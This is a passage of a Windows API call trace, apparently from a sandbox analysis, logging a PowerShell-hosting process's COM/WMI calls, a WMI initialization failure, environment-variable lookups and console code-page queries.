IClientSecurity:SetBlanket (This=0x5e6d468, pProxy=0x5e6d464, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0248.294] IUnknown:Release (This=0x5e6d468) returned 0x2 [0248.295] WbemLocator:IUnknown:Release (This=0x708c1c) returned 0x1 [0248.295] CoTaskMemFree (pv=0x707c80) [0248.295] IUnknown:Release (This=0x5e6cb34) returned 0x2 [0248.295] IUnknown:QueryInterface (in: This=0x5e6d464, riid=0x74977714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbe3f4 | out: ppvObject=0x5dbe3f4*=0x708c1c) returned 0x0 [0248.295] WbemLocator:IUnknown:QueryInterface (in: This=0x708c1c, riid=0x74994204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5dbe3b0 | out: ppvObject=0x5dbe3b0*=0x0) returned 0x80004002 [0248.296] WbemLocator:IUnknown:QueryInterface (in: This=0x708c1c, riid=0x748c0b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5dbe2a4 | out: ppvObject=0x5dbe2a4*=0x0) returned 0x80004002 [0248.297] WbemLocator:IUnknown:AddRef (This=0x708c1c) returned 0x3 [0248.297] CoGetContextToken (in: pToken=0x5dbe23c | out: pToken=0x5dbe23c) returned 0x0 [0248.298] WbemLocator:IUnknown:QueryInterface (in: This=0x708c1c, riid=0x748723cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbe224 | out: ppvObject=0x5dbe224*=0x708b7c) returned 0x0 [0248.298] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x708b7c, riid=0x74977714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5dbe22c | out: pCid=0x5dbe22c*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0248.298] WbemLocator:IUnknown:Release (This=0x708b7c) returned 0x3 [0248.298] CoGetContextToken (in: pToken=0x5dbe234 | out: pToken=0x5dbe234) returned 0x0 [0248.298] WbemLocator:IUnknown:AddRef (This=0x708c1c) returned 0x4 [0248.298] WbemLocator:IUnknown:QueryInterface (in: This=0x708c1c, riid=0x748c767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbe2a8 | out: ppvObject=0x5dbe2a8*=0x708c04) returned 0x0 [0248.298] WbemLocator:IUnknown:Release (This=0x708c1c) returned 0x4 [0248.299] WbemLocator:IRpcOptions:Query (in: This=0x708c04, pPrx=0x708c1c, dwProperty=2, pdwValue=0x5dbe2cc | out: pdwValue=0x5dbe2cc) returned 0x80004002 [0248.299] WbemLocator:IUnknown:Release (This=0x708c04) returned 0x3 [0248.299] WbemLocator:IUnknown:Release (This=0x708c1c) returned 0x2 [0248.299] CoGetContextToken (in: pToken=0x5dbe6a8 | out: pToken=0x5dbe6a8) returned 0x0 [0248.299] CoGetContextToken (in: pToken=0x5dbe668 | out: pToken=0x5dbe668) returned 0x0 [0248.299] WbemLocator:IUnknown:AddRef (This=0x708c1c) returned 0x3 [0248.299] WbemLocator:IUnknown:QueryInterface (in: This=0x708c1c, riid=0x5dbe6e4*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x5dbe6e0 | out: ppvObject=0x5dbe6e0*=0x5e6d464) returned 0x0 [0248.299] WbemLocator:IUnknown:Release (This=0x708c1c) returned 0x3 [0248.299] IUnknown:Release (This=0x5e6d464) returned 0x2 [0248.299] IUnknown:Release (This=0x5e6d464) returned 0x1 [0248.307] CoGetContextToken (in: pToken=0x5dbec9c | out: pToken=0x5dbec9c) returned 0x0 [0248.307] CoGetContextToken (in: pToken=0x5dbec5c | out: pToken=0x5dbec5c) returned 0x0 [0248.307] WbemLocator:IUnknown:AddRef (This=0x708c1c) returned 0x2 [0248.307] WbemLocator:IUnknown:QueryInterface (in: This=0x708c1c, riid=0x5dbecd8*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x5dbecd4 | out: ppvObject=0x5dbecd4*=0x5e6d464) returned 0x0 [0248.308] WbemLocator:IUnknown:Release (This=0x708c1c) returned 0x2 [0248.308] IUnknown:AddRef (This=0x5e6d464) returned 0x3 [0248.308] IEnumWbemClassObject:Reset (This=0x5e6d464) returned 0x0 [0248.309] IUnknown:Release (This=0x5e6d464) returned 0x2 [0248.419] CoGetContextToken (in: pToken=0x5dbeb8c | out: pToken=0x5dbeb8c) returned 0x0 [0248.419] IUnknown:AddRef (This=0x5e6d464) returned 0x3 [0248.419] IEnumWbemClassObject:Next (in: This=0x5e6d464, lTimeout=-1, uCount=0x1, apObjects=0x6f5d28, puReturned=0x2e98f88 | out: apObjects=0x6f5d28*=0x0, puReturned=0x2e98f88*=0x0) returned 0x80041014 [0248.462] IUnknown:Release (This=0x5e6d464) returned 0x2 [0249.335] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x5dbed7c | out: pperrinfo=0x5dbed7c*=0x5e6d71c) returned 0x0 [0249.398] IUnknown:QueryInterface (in: This=0x5e6d71c, riid=0x74977714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbe5ec | out: ppvObject=0x5dbe5ec*=0x5e6d710) returned 0x0 [0249.399] IUnknown:QueryInterface (in: This=0x5e6d710, riid=0x74994204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5dbe5a8 | out: ppvObject=0x5dbe5a8*=0x0) returned 0x80004002 [0249.399] IUnknown:QueryInterface (in: This=0x5e6d710, riid=0x748c0b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5dbe49c | out: ppvObject=0x5dbe49c*=0x0) returned 0x80004002 [0249.399] IUnknown:AddRef (This=0x5e6d710) returned 0x3 [0249.399] CoGetContextToken (in: pToken=0x5dbe434 | out: pToken=0x5dbe434) returned 0x0 [0249.399] IUnknown:QueryInterface (in: This=0x5e6d710, riid=0x748723cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbe41c | out: ppvObject=0x5dbe41c*=0x5e6d714) returned 0x0 [0249.400] IMarshal:GetUnmarshalClass (in: This=0x5e6d714, riid=0x74977714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5dbe424 | out: pCid=0x5dbe424*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0249.400] IUnknown:Release (This=0x5e6d714) returned 0x3 [0249.400] CoGetContextToken (in: pToken=0x5dbe42c | out: pToken=0x5dbe42c) returned 0x0 [0249.400] IUnknown:AddRef (This=0x5e6d710) returned 0x4 [0249.400] IUnknown:QueryInterface (in: This=0x5e6d710, riid=0x748c767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbe4a0 | out: ppvObject=0x5dbe4a0*=0x0) returned 0x80004002 [0249.400] IUnknown:Release (This=0x5e6d710) returned 0x3 [0249.400] IUnknown:Release (This=0x5e6d710) returned 0x2 [0249.401] CoGetContextToken (in: pToken=0x5dbe8a0 | out: pToken=0x5dbe8a0) returned 0x0 [0249.401] CoGetContextToken (in: pToken=0x5dbe860 | out: pToken=0x5dbe860) returned 0x0 [0249.401] IUnknown:AddRef (This=0x5e6d710) returned 0x3 [0249.401] IUnknown:QueryInterface (in: This=0x5e6d710, riid=0x5dbe8dc*(Data1=0x1cf2b120, Data2=0x547d, Data3=0x101b, Data4=([0]=0x8e, [1]=0x65, [2]=0x8, [3]=0x0, [4]=0x2b, [5]=0x2b, [6]=0xd1, [7]=0x19)), ppvObject=0x5dbe8d8 | out: ppvObject=0x5dbe8d8*=0x5e6d71c) returned 0x0 [0249.401] IUnknown:Release (This=0x5e6d710) returned 0x3 [0249.401] IUnknown:Release (This=0x5e6d71c) returned 0x2 [0249.401] IUnknown:Release (This=0x5e6d71c) returned 0x1 [0249.401] CoGetContextToken (in: pToken=0x5dbecd0 | out: pToken=0x5dbecd0) returned 0x0 [0249.401] IUnknown:AddRef (This=0x5e6d710) returned 0x2 [0249.624] IUnknown:QueryInterface (in: This=0x5e6d710, riid=0x2e99020*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5dbedf8 | out: ppvObject=0x5dbedf8*=0x5e6d710) returned 0x0 [0249.625] IUnknown:Release (This=0x5e6d710) returned 0x2 [0249.625] IIDFromString (in: lpsz="{EB87E1BD-3233-11D2-AEC9-00C04FB68820}", lpiid=0x5dbecd4 | out: lpiid=0x5dbecd4) returned 0x0 [0249.625] CoGetClassObject (in: rclsid=0x710c04*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x748fa3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5dbec3c | out: ppv=0x5dbec3c*=0x5e6cb70) returned 0x0 [0249.628] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5e6cb70, riid=0x749e7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5dbea6c | out: ppvObject=0x5dbea6c*=0x0) returned 0x80004002 [0249.628] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5e6cb70, pUnkOuter=0x0, riid=0x74977714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbeaa4 | out: ppvObject=0x5dbeaa4*=0x5e60ad0) returned 0x0 [0249.628] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5e60ad0, riid=0x74977714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbe848 | out: ppvObject=0x5dbe848*=0x5e60ad0) returned 0x0 [0249.628] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5e60ad0, riid=0x74994204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5dbe804 | out: ppvObject=0x5dbe804*=0x0) returned 0x80004002 [0249.629] WbemStatusCodeText:IUnknown:AddRef (This=0x5e60ad0) returned 0x3 [0249.629] CoGetContextToken (in: pToken=0x5dbe690 | out: pToken=0x5dbe690) returned 0x0 [0249.629] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5e60ad0, riid=0x748723cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbe678 | out: ppvObject=0x5dbe678*=0x0) returned 0x80004002 [0249.629] CoGetContextToken (in: pToken=0x5dbe688 | out: pToken=0x5dbe688) returned 0x0 [0249.629] WbemStatusCodeText:IUnknown:AddRef (This=0x5e60ad0) returned 0x4 [0249.629] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5e60ad0, riid=0x748c767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbe6fc | out: ppvObject=0x5dbe6fc*=0x0) returned 0x80004002 [0249.629] WbemStatusCodeText:IUnknown:Release (This=0x5e60ad0) returned 0x3 [0249.629] WbemStatusCodeText:IUnknown:Release (This=0x5e60ad0) returned 0x2 [0249.630] WbemStatusCodeText:IUnknown:Release (This=0x5e6cb70) returned 0x0 [0249.630] WbemStatusCodeText:IUnknown:Release (This=0x5e60ad0) returned 0x1 [0249.630] CoGetContextToken (in: pToken=0x5dbeb94 | out: pToken=0x5dbeb94) returned 0x0 [0249.630] CoGetContextToken (in: pToken=0x5dbeb54 | out: pToken=0x5dbeb54) returned 0x0 [0249.630] WbemStatusCodeText:IUnknown:AddRef (This=0x5e60ad0) returned 0x2 [0249.630] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5e60ad0, riid=0x5dbebd0*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x5dbebcc | out: ppvObject=0x5dbebcc*=0x5e60ad0) returned 0x0 [0249.630] WbemStatusCodeText:IUnknown:Release (This=0x5e60ad0) returned 0x2 [0249.630] WbemStatusCodeText:IUnknown:Release (This=0x5e60ad0) returned 0x1 [0249.635] CoGetContextToken (in: pToken=0x5dbeb5c | out: pToken=0x5dbeb5c) returned 0x0 [0249.635] CoGetContextToken (in: pToken=0x5dbeb1c | out: pToken=0x5dbeb1c) returned 0x0 [0249.635] WbemStatusCodeText:IUnknown:AddRef (This=0x5e60ad0) returned 0x2 [0249.635] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5e60ad0, riid=0x5dbeb98*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x5dbeb94 | out: ppvObject=0x5dbeb94*=0x5e60ad0) returned 0x0 [0249.635] WbemStatusCodeText:IUnknown:Release (This=0x5e60ad0) returned 0x2 [0249.636] WbemStatusCodeText:IUnknown:AddRef (This=0x5e60ad0) returned 0x3 [0249.636] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5e60ad0, hRes=0x80041014, LocaleId=0x0, lFlags=1, MessageText=0x5dbeccc | out: MessageText=0x5dbeccc*="Initialization failure ") returned 0x0 [0249.855] SysStringByteLen (bstr="Initialization failure ") returned 0x2e [0249.855] SysStringByteLen (bstr="Initialization failure ") returned 0x2e [0249.855] WbemStatusCodeText:IUnknown:Release (This=0x5e60ad0) returned 0x2 [0250.279] CoGetContextToken (in: pToken=0x5dbdc80 | out: pToken=0x5dbdc80) returned 0x0 [0250.279] WbemLocator:IUnknown:Release (This=0x708c1c) returned 0x1 [0250.279] IUnknown:Release (This=0x5e6d464) returned 0x0 [0251.018] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f5d10, nSize=0x80 | out: lpBuffer="") returned 0x0 [0251.018] GetLastError () returned 0xcb [0251.509] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f5d10, nSize=0x80 | out: lpBuffer="") returned 0x0 [0251.509] GetLastError () returned 0xcb [0251.515] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f5d10, nSize=0x80 | out: lpBuffer="") returned 0x0 [0251.515] GetLastError () returned 0xcb [0251.559] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f5d10, nSize=0x80 | out: lpBuffer="") returned 0x0 [0251.559] GetLastError () returned 0xcb [0251.565] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f5d10, nSize=0x80 | out: lpBuffer="") returned 0x0 [0251.565] GetLastError () returned 0xcb [0251.570] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f5d10, nSize=0x80 | out: lpBuffer="") returned 0x0 [0251.570] GetLastError () returned 0xcb [0251.584] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f5d10, nSize=0x80 | out: lpBuffer="") returned 0x0 [0251.584] GetLastError () returned 0xcb [0252.788] VirtualQuery (in: lpAddress=0x5dbd6a4, lpBuffer=0x5dbe6a4, dwLength=0x1c | out: lpBuffer=0x5dbe6a4*(BaseAddress=0x5dbd000, AllocationBase=0x5430000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0253.952] VirtualQuery (in: lpAddress=0x5dbd6a4, lpBuffer=0x5dbe6a4, dwLength=0x1c | out: lpBuffer=0x5dbe6a4*(BaseAddress=0x5dbd000, AllocationBase=0x5430000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0253.963] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5dbdcd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0253.963] GetLastError () returned 0xcb [0253.963] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5dbdc88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0253.963] GetLastError () returned 0xcb [0253.963] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5dbdc88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0253.963] GetLastError () returned 0xcb [0253.963] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5dbdc88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0253.963] GetLastError () returned 0xcb [0254.040] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5dbdcd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0254.040] GetLastError () returned 0x0 [0254.040] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5dbdc88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0254.040] GetLastError () returned 0x0 [0254.041] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5dbdc88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0254.041] GetLastError () returned 0x0 [0255.824] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf [0255.825] GetLastError () returned 0x0 [0255.825] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5dbe1e8 | out: lpConsoleScreenBufferInfo=0x5dbe1e8) returned 1 [0255.825] GetLastError () returned 0x0 [0255.833] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f5d10, nSize=0x80 | out: lpBuffer="") returned 0x0 [0255.833] GetLastError () returned 0xcb [0256.160] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5dbdce8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0256.161] GetLastError () returned 0x0 [0256.161] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5dbdce8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0256.161] GetLastError () returned 0x0 [0256.161] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5dbdce8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0256.161] GetLastError () returned 0x0 [0256.690] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f5d10, nSize=0x80 | out: lpBuffer="") returned 0x0 [0256.690] GetLastError () returned 0xcb [0257.096] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13 [0257.097] GetLastError () returned 0x0 [0257.097] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13, lpConsoleScreenBufferInfo=0x5dbe8fc | out: lpConsoleScreenBufferInfo=0x5dbe8fc) returned 1 [0257.097] GetLastError () returned 0x0 [0257.237] GetConsoleOutputCP () returned 0x1b5 [0257.240] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe858, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe858) returned 0 [0257.240] GetLastError () returned 0x0 [0257.240] GetConsoleOutputCP () returned 0x1b5 [0257.240] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe858, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe858) returned 0 [0257.240] GetLastError () returned 0x0 [0257.240] GetConsoleOutputCP () returned 0x1b5 [0257.240] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe858, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe858) returned 0 [0257.240] GetLastError () returned 0x0 [0257.240] GetConsoleOutputCP () returned 0x1b5 [0257.240] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe858, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe858) returned 0 [0257.240] GetLastError () returned 0x0 [0257.327] GetConsoleOutputCP () returned 0x1b5 [0257.328] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe858, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe858) returned 0 [0257.328] GetLastError () returned 0x0 [0257.328] GetConsoleOutputCP () returned 0x1b5 [0257.328] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.328] GetLastError () returned 0x0 [0257.328] GetConsoleOutputCP () returned 0x1b5 [0257.328] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.328] GetLastError () returned 0x0 [0257.328] GetConsoleOutputCP () returned 0x1b5 [0257.328] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.328] GetLastError () returned 0x0 [0257.328] GetConsoleOutputCP () returned 0x1b5 [0257.328] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.328] GetLastError () returned 0x0 [0257.329] GetConsoleOutputCP () returned 0x1b5 [0257.329] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.329] GetLastError () returned 0x0 [0257.329] GetConsoleOutputCP () returned 0x1b5 [0257.329] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.329] GetLastError () returned 0x0 [0257.329] GetConsoleOutputCP () returned 0x1b5 [0257.329] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.329] GetLastError () returned 0x0 [0257.329] GetConsoleOutputCP () returned 0x1b5 [0257.329] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.329] GetLastError () returned 0x0 [0257.329] GetConsoleOutputCP () returned 0x1b5 [0257.329] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.329] GetLastError () returned 0x0 [0257.329] GetConsoleOutputCP () returned 0x1b5 [0257.329] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.329] GetLastError () returned 0x0 [0257.329] GetConsoleOutputCP () returned 0x1b5 [0257.330] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 